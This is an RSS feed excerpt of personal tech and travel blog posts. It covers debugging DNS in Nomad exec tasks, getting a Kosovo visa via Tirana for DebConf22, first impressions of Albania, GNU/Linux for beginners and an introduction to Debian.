<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> sleep.nomad</span></span></code></pre>
<p>When you exec inside the alloc:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> alloc</span><span style="color: light-dark(#032F62, #96D0FF);"> exec</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">task</span><span style="color: light-dark(#032F62, #96D0FF);"> sleep</span><span style="color: light-dark(#032F62, #96D0FF);"> 8b4a0a82</span><span style="color: light-dark(#032F62, #96D0FF);"> /bin/sh</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> cat</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nameserver</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 127.0.0.1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> dig</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span></span>
<span class="giallo-l"><span>;</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> communications</span><span style="color: light-dark(#032F62, #96D0FF);"> error</span><span style="color: light-dark(#032F62, #96D0FF);"> to</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.1#53:</span><span style="color: light-dark(#032F62, #96D0FF);"> connection</span><span style="color: light-dark(#032F62, #96D0FF);"> refused</span></span></code></pre>
<p>I believe Nomad should bootstrap some DNS resolver or a relevant <code>iptables</code> rule for the exec tasks so that DNS can be resolved by default without the need to mount a custom config. For comparison, a <code>docker</code> also bootstraps the container with a customisable <code>/etc/resolv.conf</code>, and the settings can be specified either at runtime and fallback to the global settings in <code>/etc/docker/daemon.json</code>.</p>
<hr />
<p>I hope this post helps someone solve these weird DNS issues when running tasks with the bridge network and exec task driver in the Nomad cluster.</p>
<p>Like they say:</p>
<p><img src="https://mrkaran.dev/images/haiku-dns.png" alt="image" /></p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Complicated Kosovo Visa]]></title>
            <link>https://ravidwivedi.in/posts/pre-debconf-22/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/pre-debconf-22/</guid>
            <pubDate>Wed, 13 Jul 2022 16:04:50 GMT</pubDate>
            <description><![CDATA[DebConf is the annual conference of the Debian community. This year’s DebConf was held in Kosovo, a European country from the Balkans.

      
DebConf22 logo
Debian sponsored me for the conference. Indian attendees needed a visa to enter Kosovo, which got complicated due to Kosovo not having any embassies in India (India doesn’t recognize Kosovo as an independent country). The organizing team came up with a solution - to send the required documents by email to Kosovo embassy in Tirana, Albania (neighboring country of Kosovo) and collecting the visas later by visiting the embassy in person. This was possible because Albania was granting visa-free entry for Indians during that time period. However, this was not the standard way to get a Kosovo visa and it was an exception made by the Ministry of Foreign Affairs of Kosovo for us.
The conference was to begin on the 10th of July. So, I booked my flight tickets from Delhi to Tirana for the 6th and bus tickets from Tirana to Prizren for the 10th of July. Further, I transferred the visa fee worth 40 Euros into the embassy’s bank account using wise.com. On the 9th of June, I emailed my documents to the Kosovo embassy in Tirana for my visa application. Here is the list of documents I sent:
Filled and signed Visa Application form
Scanned copy of my passport
1 photo of myself
Invite letter and proof of travel, food and accommodation bursary.
Confirmed return flight ticket from Delhi to Tirana
Bus tickets from Tirana to Prizren
Bank statement (last 3 months)
Health insurance valid throughout the territory of the Republic of Kosovo
Receipt of payment of 40 Euros for visa fee
I did not receive any acknowledgement of the receipt of my email from the embassy. On the 22nd of June (13 days after submitting the application), I wrote a follow-up email to the embassy asking for my visa application status. The embassy responded by saying:
Your name is not in the list of approved names to apply remotely. Therefore your case cannot be processed.
A couple of other Indian attendees reported getting the same response from the embassy. However, Utkarsh from the bursary team confirmed that our names were in the list. On the 27th of June, with 9 days to go before our flight to Albania, Praveen (a Debian Developer) sent an email to the Debian Project Leader Jonathan Carter, CCing all the prominent DebConf team members and Indian attendees, sharing our frustation with the process. He proposed Debian to reimburse tickets if we don’t get a response from the embassy.
On the other hand, Arianit Dobroshi from the organizing team was fairly confident about the approval and suggested us not to panic. In the same email, Praveen also proposed Debian to include visa fee in the bursary by default for the sponsored attendees, for which Jonathan shared his views in a public mailing list here.
As the travel date approached, I was panicking. I asked my travel agent to check on the cancellation fee for my flight. They told me it was around 15,000 INR. However, repeated assurances from Arianit made me stick to my plans. On July 3rd, he sent us a letter from Kosovo’s Ministry of Foreign Affairs stating that our visas were being processed in Tirana.
I wasn’t confident that the document was sufficient for boarding the flight. If I went to the airline staff at Delhi Airport and told them I was attending a conference in Kosovo, they would want to see whether I had a valid visa. Otherwise, they would refuse me boarding.
Therefore, I told the airline I was going to Albania. To my surprise, the airline did not ask me for a Kosovo visa upon seeing my conference invitation letter. Maybe they didn’t know about Kosovo, as India doesn’t recognize it?
After grilling me for some time, the airline gave me my boarding pass. The next stop was immigration. However, the immigration officer only asked me where I was going, to which I replied, “Albania,” and they asked me to show a visa. I told them that Albania was visa-free. So, they only checked whether Indians required a visa to visit Albania. I was elated after clearing immigration. This was followed by boarding the flight.
I had a connecting flight from Dubai. Here, I met other DebConf attendees coming from Kochi and Mumbai. Before boarding the flight, we were asked once again about our purpose for visiting Albania, to which we showed our invitation letters. Again, they didn’t notice that the conference was in Kosovo.
On the 7th of July, while we were in Tirana, we received the following email from one of the conference organizers, Arianit:
For Tirana applicants,
We got notification that visas have arrived in Tirana. Please show up at
the Consulate tomorrow at 08:00 to get them stamped. They work until 13:30
tomorrow. We are trying to find a solution for people arriving in Tirana at
14:00 apparently.
Regards,
Arianit
Next day, on the 8th of July, we went to the Kosovo embassy early in the morning and got our visas. On the 10th, we had a scenic morning bus trip from Tirana to Prizren.
The Innovation & Training Park (ITP) in Prizren, Kosovo was the venue of DebConf 22.

I am at ITP Prizren—the venue of DebConf22—writing this post. It feels like a miracle to be here in Prizren attending DebConf. Looking forward to working on some projects and meeting nice people.
Lastly, I would like to thank the organizing team and the country of Kosovo.]]></description>
            <content:encoded><![CDATA[<p>DebConf is the annual conference of the <a href="https://ravidwivedi.in/posts/what-is-debian">Debian</a> community. <a href="https://debconf22.debconf.org/">This year&rsquo;s DebConf</a> was held in Kosovo, a European country from the Balkans.</p>
<figure><a href="https://wiki.debian.org/DebConf/22/Organizers?action=AttachFile&amp;do=get&amp;target=debconflogo22l.png"><img src="https://ravidwivedi.in/images/debconf22-logo.png"
    alt="A bridge in the middle with a bird on the right and a spiral on the left. On the top, DebConf Kosovo is written while 22 is wwritten at the bottom." width="300"></a><figcaption>
      <p>DebConf22 logo</p>
    </figcaption>
</figure>

<p>Debian sponsored me for the conference. Indian attendees needed a visa to enter Kosovo, which got complicated due to Kosovo not having any embassies in India (India doesn&rsquo;t recognize Kosovo as an independent country). The organizing team came up with a solution - to send the required documents by email to Kosovo embassy in Tirana, Albania (neighboring country of Kosovo) and collecting the visas later by visiting the embassy in person. This was possible because Albania was granting <a href="https://punetejashtme.gov.al/en/regjimi-i-vizave-per-te-huajt/">visa-free entry for Indians</a> during that time period. However, this was not the standard way to get a Kosovo visa and it was an exception made by the Ministry of Foreign Affairs of Kosovo for us.</p>
<p>The conference was to begin on the 10th of July. So, I booked my flight tickets from Delhi to Tirana for the 6th and bus tickets from Tirana to Prizren for the 10th of July. Further, I transferred the visa fee worth 40 Euros into the embassy&rsquo;s bank account using wise.com. On the 9th of June, I emailed my documents to the Kosovo embassy in Tirana for my visa application. Here is the list of documents I sent:</p>
<ul>
<li>
<p>Filled and signed Visa Application form</p>
</li>
<li>
<p>Scanned copy of my passport</p>
</li>
<li>
<p>1 photo of myself</p>
</li>
<li>
<p>Invite letter and proof of travel, food and accommodation bursary.</p>
</li>
<li>
<p>Confirmed return flight ticket from Delhi to Tirana</p>
</li>
<li>
<p>Bus tickets from Tirana to Prizren</p>
</li>
<li>
<p>Bank statement (last 3 months)</p>
</li>
<li>
<p>Health insurance valid throughout the territory of the Republic of Kosovo</p>
</li>
<li>
<p>Receipt of payment of 40 Euros for visa fee</p>
</li>
</ul>
<p>I did not receive any acknowledgement of the receipt of my email from the embassy. On the 22nd of June (13 days after submitting the application), I wrote a follow-up email to the embassy asking for my visa application status. The embassy responded by saying:</p>
<blockquote>
<p>Your name is not in the list of approved names to apply remotely. Therefore your case cannot be processed.</p>
</blockquote>
<p>A couple of other Indian attendees reported getting the same response from the embassy. However, Utkarsh from the bursary team confirmed that our names were in the list. On the 27th of June, with 9 days to go before our flight to Albania, Praveen (a Debian Developer) sent an email to the Debian Project Leader Jonathan Carter, CCing all the prominent DebConf team members and Indian attendees, sharing our frustation with the process. He proposed Debian to reimburse tickets if we don&rsquo;t get a response from the embassy.</p>
<p>On the other hand, Arianit Dobroshi from the organizing team was fairly confident about the approval and suggested us not to panic. In the same email, Praveen also proposed Debian to include visa fee in the bursary by default for the sponsored attendees, for which Jonathan shared his views in a public mailing list <a href="https://lists.debian.org/debian-project/2022/06/msg00020.html">here</a>.</p>
<p>As the travel date approached, I was panicking. I asked my travel agent to check on the cancellation fee for my flight. They told me it was around 15,000 INR. However, repeated assurances from Arianit made me stick to my plans. On July 3rd, he sent us a letter from Kosovo’s Ministry of Foreign Affairs stating that our visas were being processed in Tirana.</p>
<p>I wasn’t confident that the document was sufficient for boarding the flight. If I went to the airline staff at Delhi Airport and told them I was attending a conference in Kosovo, they would want to see whether I had a valid visa. Otherwise, they would refuse me boarding.</p>
<p>Therefore, I told the airline I was going to Albania. To my surprise, the airline did not ask me for a Kosovo visa upon seeing my conference invitation letter. Maybe they didn’t know about Kosovo, as India doesn’t recognize it?</p>
<p>After grilling me for some time, the airline gave me my boarding pass. The next stop was immigration. However, the immigration officer only asked me where I was going, to which I replied, “Albania,” and they asked me to show a visa. I told them that Albania was visa-free. So, they only checked whether Indians required a visa to visit Albania. I was elated after clearing immigration. This was followed by boarding the flight.</p>
<p>I had a connecting flight from Dubai. Here, I met other DebConf attendees coming from Kochi and Mumbai. Before boarding the flight, we were asked once again about our purpose for visiting Albania, to which we showed our invitation letters. Again, they didn’t notice that the conference was in Kosovo.</p>
<p>On the 7th of July, while we were in Tirana, we received the following email from one of the conference organizers, Arianit:</p>
<blockquote>
<p>For Tirana applicants,</p>
<p>We got notification that visas have arrived in Tirana. Please show up at
the Consulate tomorrow at 08:00 to get them stamped. They work until 13:30
tomorrow. We are trying to find a solution for people arriving in Tirana at
14:00 apparently.</p>
<p>Regards,
Arianit</p>
</blockquote>
<p>Next day, on the 8th of July, we went to the Kosovo embassy early in the morning and got our visas. On the 10th, we had a scenic morning bus trip from Tirana to Prizren.</p>
<figure>
<img src="https://ravidwivedi.in/images/itp-prizren.avif" width="500">
<figcaption>The Innovation & Training Park (ITP) in Prizren, Kosovo was the venue of DebConf 22.</figcaption>
</figure>
<p>I am at ITP Prizren—the venue of DebConf22—writing this post. It feels like a miracle to be here in Prizren attending DebConf. Looking forward to working on some projects and meeting nice people.</p>
<p>Lastly, I would like to thank the organizing team and the country of Kosovo.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[First Impressions of Albania]]></title>
            <link>https://ravidwivedi.in/posts/first-impressions-of-albania/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/first-impressions-of-albania/</guid>
            <pubDate>Wed, 06 Jul 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[I landed in Tirana, Albania today, which is a country in the balkans region of the Europe.
My first impressions are:
Tirana is neat and clean city with beautiful landscapes surrounding it.
Beautiful views at the Tirana airport just after landing.



Tirana International Airport.



Taxis outside Tirana International Airport.



Beautiful views on the way from Tirana airport to city center.



Locals are very patient and hospitable.
Streets are not very crowded and footpaths are wide.
Wide footpaths in Tirana.



Tree-lined sidewalks in Tirana.



A bus stop in Tirana.


The city has bars and cafes all around the place.
A bus stop in Tirana.



It is a well planned city.
It is cheaper than most of the places in Europe.
My first impression is that this is a very beautiful and hospitable place. Although, people who don’t eat meat can have some difficulties in finding good vegetarian food.
I hope to have fun in this Albania trip.]]></description>
            <content:encoded><![CDATA[<p>I landed in Tirana, Albania today, which is a country in the balkans region of the Europe.</p>
<p>My first impressions are:</p>
<ul>
<li>Tirana is neat and clean city with beautiful landscapes surrounding it.</li>
</ul>
<figure>
<img src="https://ravidwivedi.in/images/tirana-1.avif">
<figcaption>Beautiful views at the Tirana airport just after landing.</figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/tirana-2.avif">
<figcaption>Tirana International Airport.</figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/tirana-3.avif">
<figcaption>Taxis outside Tirana International Airport.</figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/tirana-4.avif">
<figcaption>Beautiful views on the way from Tirana airport to city center.</figcaption>
</figure>
<ul>
<li>
<p>Locals are very patient and hospitable.</p>
</li>
<li>
<p>Streets are not very crowded and footpaths are wide.</p>
</li>
</ul>
<figure>
<img src="https://ravidwivedi.in/images/tirana-5.avif">
<figcaption>Wide footpaths in Tirana.</figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/tirana-6.avif">
<figcaption>Tree-lined sidewalks in Tirana.</figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/tirana-7.avif">
<figcaption>A bus stop in Tirana.</figcaption>
</figure>
<ul>
<li>The city has bars and cafes all around the place.</li>
</ul>
<figure>
<img src="https://ravidwivedi.in/images/tirana-8.avif">
<figcaption>A bus stop in Tirana.</figcaption>
</figure>
<ul>
<li>
<p>It is a well planned city.</p>
</li>
<li>
<p>It is cheaper than most of the places in Europe.</p>
</li>
</ul>
<p>My first impression is that this is a very beautiful and hospitable place. Although, people who don’t eat meat can have some difficulties in finding good vegetarian food.</p>
<p>I hope to have fun in this Albania trip.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Is GNU/Linux hard to use for beginners?]]></title>
            <link>https://ravidwivedi.in/posts/is-gnu-linux-hard-for-beginners/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/is-gnu-linux-hard-for-beginners/</guid>
            <pubDate>Tue, 28 Jun 2022 12:17:49 GMT</pubDate>
            <description><![CDATA[GNU/Linux operating systems (if you heard about Linux operating systems, I am talking about the same. Read Why GNU/Linux if you are curious about the details.) have a reputation of being hard to use for non-techies. Some of the popular examples of GNU/Linux distributions are: Ubuntu, Debian, Fedora etc. I repeatedly hear that they are hard to install or knowledge of command line is necessary to use them and therefore only advanced users use GNU/Linux. This is not true. Depending on your requirements, you can choose a distro which does not require a lot of technical skills to use.
First of all, I would like to point out why I advertise GNU/Linux operating systems. I promote the idea of Free Software and when I suggest people to use freedom-respecting software, the obvious choice for a desktop operating system is a GNU/Linux operating system. There are many non-GNU Linux based operating systems as well and I am fine with people using them, but since I never used them, I suggest what I have used.
What I think is that GNU/Linux is for everybody. There is so much choice here that it is practically never ending. Whether you want to use as a normal user who just want a stable operating system or you are someone who likes to hack around and break things while learning something new, GNU/Linux is for you. Proprietary operating systems are full of malware, so it is good time to switch to a GNU/Linux distro, which are usually built by a community, everything is public and open for all to see, respect users’ freedom and privacy, plus they are usually far more secure than proprietary software, by design.
Whether it is school labs, a company’s production machine, personal computers, servers, Raspberry Pi, human right defenders, journalists, GNU/Linux is for everybody. The choice of the GNU/Linux distro depends on your use case and threat model. It is not like Windows that everyone is using the same thing with same appearance. Different people choose different distributions with very different appearances and customization, depending on their taste.
How to choose a GNU/Linux distribution for yourself
There is a huge number of GNU/Linux distros to choose from that it can be overwhelming to research all the choices. Librehunt website can ease your search by asking a few questions on what type of distro you want and then suggests you with a few distros matching your criteria. Popular GNU/Linux distributions like Ubuntu, Debian, Fedora, has a lot of user support by the community. If you use Ubuntu, for example, and you are stuck with some technical problem, chances are it is already answered on their Askubuntu forum. If not, then you can ask your question there. Many Free Software communities provide technical support. GNU/Linux distros usually have large communities behind them and work on the operating system of their choice in collaboration. Here are a few suggestions of mine for a user-friendly distro to start with: Debian, Ubuntu, Zorin OS, GNU/Linux Mint, Fedora. I haven’t tried all of them but I have heard good feedback about Zorin OS, Linux Mint and Fedora.
After you have selected a distro, the next step is to choose a Desktop Environment. These differ in their appearances and philosophy. For example, if you are planning to run GNU/Linux on old hardware, then XFCE is a suitable Desktop Environment, which is lightweight and does not consume a lot of resources. GNOME and KDE Plasma are very popular Desktop Environments with large communities behind them.

Debian 11 with GNOME desktop. Source: Wikimedia Commons.



KDE Plasma desktop. Source: Wikimedia Commons.

Installation
The installation of a distro depends on your hardware and the distro you choose. The distro you are installing might have installation guide on its website. For many distros, the installation is kind of the same. Arch Linux is for a bit advanced users where the installation differs from, say Ubuntu.
You will find tons of blogs and video tutorials to install distro of your choice.
Many laptops ship with GNU/Linux preinstalled. Some examples are: Indian vendor Mostly Harmless, Purism devices,  Ministry of Freedom project in the UK, Lenovo selling laptops with Ubuntu pre-installed and Fedora pre-installed, Clevo selling laptops with Debian pre-installed, Manjaro has also partnered with some hardware manufacturers to ship with Manjaro out of the box, System 76 laptops, etc.
I suggest you to do some research and choose a computer with GNU/Linux preinstalled for the next time.
Learning about the GNU/Linux operating system
Many blogs and Youtube channels exist where you can learn about the distros. If you are curious to learn the command line, you will find tons of resources on the internet for learning. There are many books written on the command line which you can choose for your learning. Whatever distro you are using, Arch Wiki can be a handy guide.
I started with Debian as a beginner and I learnt some command line just for fun and curiosity, but it is not mandatory for a Debian user. I found the operating system easy and intuitive to use. I have used Manjaro for a couple of months and PureOS for around half a year. Whenever I am stuck, I usually get help from the internet.
Conclusion
All in all, GNU/Linux distros are highly customizable and give users choice and freedom to use what they want. There are user-friendly distros like Ubuntu and Debian with good user support and large communities behind them so that you can always ask for help. I hope this will post will strike down any fear or doubts you might have in starting using GNU/Linux.]]></description>
            <content:encoded><![CDATA[<p>GNU/Linux operating systems (if you heard about Linux operating systems, I am talking about the same. Read <a href="https://www.gnu.org/gnu/why-gnu-Linux.html">Why GNU/Linux</a> if you are curious about the details.) have a reputation of being hard to use for non-techies. Some of the popular examples of GNU/Linux distributions are: Ubuntu, Debian, Fedora etc. I repeatedly hear that they are hard to install or knowledge of command line is necessary to use them and therefore only advanced users use GNU/Linux. This is not true. Depending on your requirements, you can choose a distro which does not require a lot of technical skills to use.</p>
<p>First of all, I would like to point out why I advertise GNU/Linux operating systems. I promote the idea of <a href="https://ravidwivedi.in/free-software">Free Software</a> and when I suggest people to use freedom-respecting software, the obvious choice for a desktop operating system is a GNU/Linux operating system. There are many non-GNU Linux based operating systems as well and I am fine with people using them, but since I never used them, I suggest what I have used.</p>
<p>What I think is that GNU/Linux is for everybody. There is so much choice here that it is practically never ending. Whether you want to use as a normal user who just want a stable operating system or you are someone who likes to hack around and break things while learning something new, GNU/Linux is for you. Proprietary operating systems are <a href="https://gnu.org/malware">full of malware</a>, so it is good time to switch to a GNU/Linux distro, which are usually built by a community, everything is public and open for all to see, respect users&rsquo; freedom and privacy, plus they are usually <a href="https://en.wikipedia.org/wiki/Security_through_obscurity">far more secure than proprietary software</a>, by design.</p>
<p>Whether it is school labs, a company&rsquo;s production machine, personal computers, servers, Raspberry Pi, human right defenders, journalists, GNU/Linux is for everybody. The choice of the GNU/Linux distro depends on your use case and threat model. It is not like Windows that everyone is using the same thing with same appearance. Different people choose different distributions with very different appearances and customization, depending on their taste.</p>
<h3 id="how-to-choose-a-gnulinux-distribution-for-yourself">How to choose a GNU/Linux distribution for yourself</h3>
<p>There is a huge number of GNU/Linux distros to choose from that it can be overwhelming to research all the choices. <a href="https://librehunt.org/">Librehunt</a> website can ease your search by asking a few questions on what type of distro you want and then suggests you with a few distros matching your criteria. Popular GNU/Linux distributions like Ubuntu, Debian, Fedora, has a lot of user support by the community. If you use Ubuntu, for example, and you are stuck with some technical problem, chances are it is already answered on their <a href="https://askubuntu.com/">Askubuntu forum</a>. If not, then you can ask your question there. Many Free Software communities provide technical support. GNU/Linux distros usually have large communities behind them and work on the operating system of their choice in collaboration. Here are a few suggestions of mine for a user-friendly distro to start with: Debian, Ubuntu, Zorin OS, GNU/Linux Mint, Fedora. I haven&rsquo;t tried all of them but I have heard good feedback about Zorin OS, Linux Mint and Fedora.</p>
<p>After you have selected a distro, the next step is to choose a Desktop Environment. These differ in their appearances and philosophy. For example, if you are planning to run GNU/Linux on old hardware, then XFCE is a suitable Desktop Environment, which is lightweight and does not consume a lot of resources. GNOME and KDE Plasma are very popular Desktop Environments with large communities behind them.</p>
<figure>
<a title="Граймс, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Debian_11_with_GNOME_desktop.png"><img width="512" alt="Debian 11 with GNOME desktop" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d0/Debian_11_with_GNOME_desktop.png/512px-Debian_11_with_GNOME_desktop.png"></a>
<figcaption>Debian 11 with GNOME desktop. Source: <a href="https://commons.wikimedia.org/wiki/File:Debian_11_with_GNOME_desktop.png">Wikimedia Commons</a>.</figcaption>
</figure>
<figure>
<a title="KDE, GPL &lt;http://www.gnu.org/licenses/gpl.html&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:KDE_Plasma_5.21_Plasma_dark_screenshot.png"><img width="512" alt="KDE Plasma 5.21 Plasma dark screenshot" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/de/KDE_Plasma_5.21_Plasma_dark_screenshot.png/512px-KDE_Plasma_5.21_Plasma_dark_screenshot.png"></a>
<figcaption>KDE Plasma desktop. Source: <a href="https://commons.wikimedia.org/wiki/File:KDE_Plasma_5.21_Plasma_dark_screenshot.png">Wikimedia Commons</a>.</figcaption>
</figure>
<h3 id="installation">Installation</h3>
<p>The installation of a distro depends on your hardware and the distro you choose. The distro you are installing might have installation guide on its website. For many distros, the installation is kind of the same. Arch Linux is for a bit advanced users where the installation differs from, say Ubuntu.</p>
<p>You will find tons of blogs and video tutorials to install distro of your choice.</p>
<p>Many laptops ship with GNU/Linux preinstalled. Some examples are: Indian vendor <a href="https://mostlyharmless.io/">Mostly Harmless</a>, <a href="https://puri.sm/">Purism devices</a>,  <a href="https://minifree.org/">Ministry of Freedom</a> project in the UK, Lenovo selling laptops with <a href="https://news.lenovo.com/pressroom/press-releases/lenovo-launches-Linux-ready-thinkpad-and-thinkstation-pcs-preinstalled-with-ubuntu/">Ubuntu pre-installed</a> and <a href="https://fedoramagazine.org/lenovo-fedora-now-available/">Fedora pre-installed</a>, Clevo selling laptops with <a href="https://laptopwithLinux.com/buy-debian-laptop-notebooks-with-debian-Linux-preinstalled/">Debian pre-installed</a>, Manjaro has also partnered with some hardware manufacturers to ship with <a href="https://manjaro.org/hardware/">Manjaro out of the box</a>, <a href="https://system76.com/laptops">System 76 laptops</a>, etc.</p>
<p>I suggest you to do some research and choose a computer with GNU/Linux preinstalled for the next time.</p>
<h3 id="learning-about-the-gnulinux-operating-system">Learning about the GNU/Linux operating system</h3>
<p>Many blogs and Youtube channels exist where you can learn about the distros. If you are curious to learn the command line, you will find tons of resources on the internet for learning. There are many books written on the command line which you can choose for your learning. Whatever distro you are using, <a href="https://wiki.archLinux.org/">Arch Wiki</a> can be a handy guide.</p>
<p>I started with Debian as a beginner and I learnt some command line just for fun and curiosity, but it is not mandatory for a Debian user. I found the operating system easy and intuitive to use. I have used Manjaro for a couple of months and PureOS for around half a year. Whenever I am stuck, I usually get help from the internet.</p>
<h3 id="conclusion">Conclusion</h3>
<p>All in all, GNU/Linux distros are highly customizable and give users choice and freedom to use what they want. There are user-friendly distros like Ubuntu and Debian with good user support and large communities behind them so that you can always ask for help. I hope this will post will strike down any fear or doubts you might have in starting using GNU/Linux.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[What is Debian]]></title>
            <link>https://ravidwivedi.in/posts/what-is-debian/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/what-is-debian/</guid>
            <pubDate>Sun, 26 Jun 2022 08:25:52 GMT</pubDate>
            <description><![CDATA[Debian as an operating system
Debian desktop.

Credits: Juliette Taka. License: CC-BY-SA-4.0. Source: Debian wiki.

Debian GNU/Linux is a Free Software (software which respects user’s freedom to run, study, modify, share and share the modified versions) operating system. Debian is committed to Free Software philosophy, as software freedom is deeply embedded in its social contract. Debian’s official image ships with only free software including firmware, and the official repositories also contain only Free Software. If users need nonfree drivers, then separate images with nonfree firmware are also available on the Debian website.
Debian's tagline is 'The Universal operating system.'

Credits: Juliette Taka. License: CC-BY-SA-4.0. Source: Debian wiki.

Debian operating system has three branches: stable, testing and unstable. Debian explains that the main goal of the project is to develop the stable branch. Other branches are only a means for that end. Of course, many users might still find it suitable to install testing or unstable, keeping in mind that these might break.
Debian is known for its stability and its universality. The stability of Debian stable branch comes from the fact that it is extensively tested before the release as the testing branch. The three branch system allows the user to choose the desired stability. The stable branch gets only security updates and mission critical bug fixes. So, the packages in stable branch might not be the latest version, but they are tested thoroughly before putting there. Debian Stable users can download recent releases of some software from the Debian backports repository. Stable branch is a recommended one for a company’s production machine or school labs and personal computers too.
Debian can run on all types of hardware and supports 9 CPU architectures and some others unofficially as well. It can run on your personal computer, a school computer, old hardware, servers, Raspberry Pi and similar devices, IoT devices, etc. Whatever piece of hardware you have, you can put Debian on it, and that is why Debian’s tagline is ‘The Universal Operating System’. This is far more than is available for any other GNU/Linux distribution.
Many popular GNU/linux distributions are based on Debian. Examples are: Ubuntu, PureOS, Tails OS etc.
People behind Debian
Debian’s biggest feature is the community behind it and how that community makes decisions. The guiding principles of Debian community are the Debian Social Contract and the Debian Free Software guidelines.
DebConf19 group photo.

Source:  Debian Pics.

License:MIT License (Expat). Debian license page.


In short, the Debian Social contract promises the following to its users: 1) 100% Free Software; 2) Debian project will give back to Free Software community; 3) Problems won’t be hidden; 4) Users are priority; 5) providing support for nonfree packages to users, if required.
The track record of 29 years of the project says that these promises have never been broken. It is an independent project made by volunteers all around the globe. It has a democratic decision-making structure as directed by its constitution.
Companies or individuals sponsoring Debian project do not get any say in the decisions of the Debian project just because they gave money to the project.
Debian project’s democratic decision making along with software freedom of the operating system makes it one of the most secure operating systems, since Debian does not have a single point of failure.
This works as follows:
Every Debian Developer’s gpg keys are signed by at least two other existing Debian developers. It is a decentralized trust model and forms a web of trust. Every package uploaded to Debian is compiled from its source code and signed by the private gpg keys of a Debian Developer. Only the owner of the keys can have their private keys. A maintainer of a Debian package abusing their position to upload malicious code intentionally will harm their own reputation in the society as every upload is public and it will stay there for lifetime. Compare this to a centralized corporation where they can upload malicious code in the packages but this commit is not public.
How can we make sure that the binaries match the source code? Debian is also working on reproducible builds, so that users can build the package on their own and verify that the binary actually matches the source code. Purism explained the concept very well in their blog post.
Debian has a separate LTS team which provides support to Debian stable releases for at least 5 years. This can be helpful for companies and organizations who want support in their Debian usage.
In conclusion, Debian is a freedom-respecting operating system maintained and developed by its users around the globe. It is not controlled by a single entity and this makes it hard to compromise, making it one of the most secure operating systems on the earth.
My experience
I started using Debian in August 2021 and I have tried all the branches of Debian: stable, testing and unstable. I was not using only Debian in this time frame and have switched to PureOS for around 6 months. Personally, I faced no problems in using Debian. I found that even testing branch is stable enough to be my daily driver. Currently, I am running the stable branch of Debian Bullseye, along with adding backports to my sources file. The Desktop environment that has suited me the most as of now is KDE Plasma. I love it and whenever I switch to any other Desktop Environment, I do not feel at home.
Debian with KDE Plasma desktop. Released under CC-BY-SA-4.0

Read further
Want to install Debian in your computer? or curious about how to contribute to Debian? Please check:
Get Debian for your device.
Contribute to Debian.
An Indian shop sells hardware that can run fully free version of Debian.
Buy a computer with Debian pre-installed.
Clevo is shipping laptops with Debian out-of-the-box.
Librem hardware(like laptops and mobile phones) can run Debian.
If you have any technical questions, please feel free to ask any of the Debian user support channels or Free Software Community of India.]]></description>
            <content:encoded><![CDATA[<h3 id="debian-as-an-operating-system">Debian as an operating system</h3>
<figure>
<img src="https://ravidwivedi.in/images/homeworld_desktop.png"; width="700">
<figcaption>Debian desktop.
<br>
Credits: <a href="http://www.juliettetaka.com/">Juliette Taka</a>. License: CC-BY-SA-4.0. Source: <a href="https://wiki.debian.org/DebianArt/Themes/Homeworld">Debian wiki</a>.</figcaption>
</figure>
<p><a href="https://debian.org">Debian</a> GNU/Linux is a <a href="https://ravidwivedi.in/free-software">Free Software</a> (software which respects user&rsquo;s freedom to run, study, modify, share and share the modified versions) operating system. Debian is committed to Free Software philosophy, as software freedom is deeply embedded in its <a href="https://www.debian.org/social_contract">social contract</a>. Debian&rsquo;s official image ships with only free software including firmware, and the official repositories also contain only Free Software. If users need nonfree drivers, then separate images with nonfree firmware are also available on the Debian website.</p>
<figure>
<img src="https://ravidwivedi.in/images/homeworld.jpeg"; width="700">
<figcaption>Debian's tagline is 'The Universal operating system.'
<br>
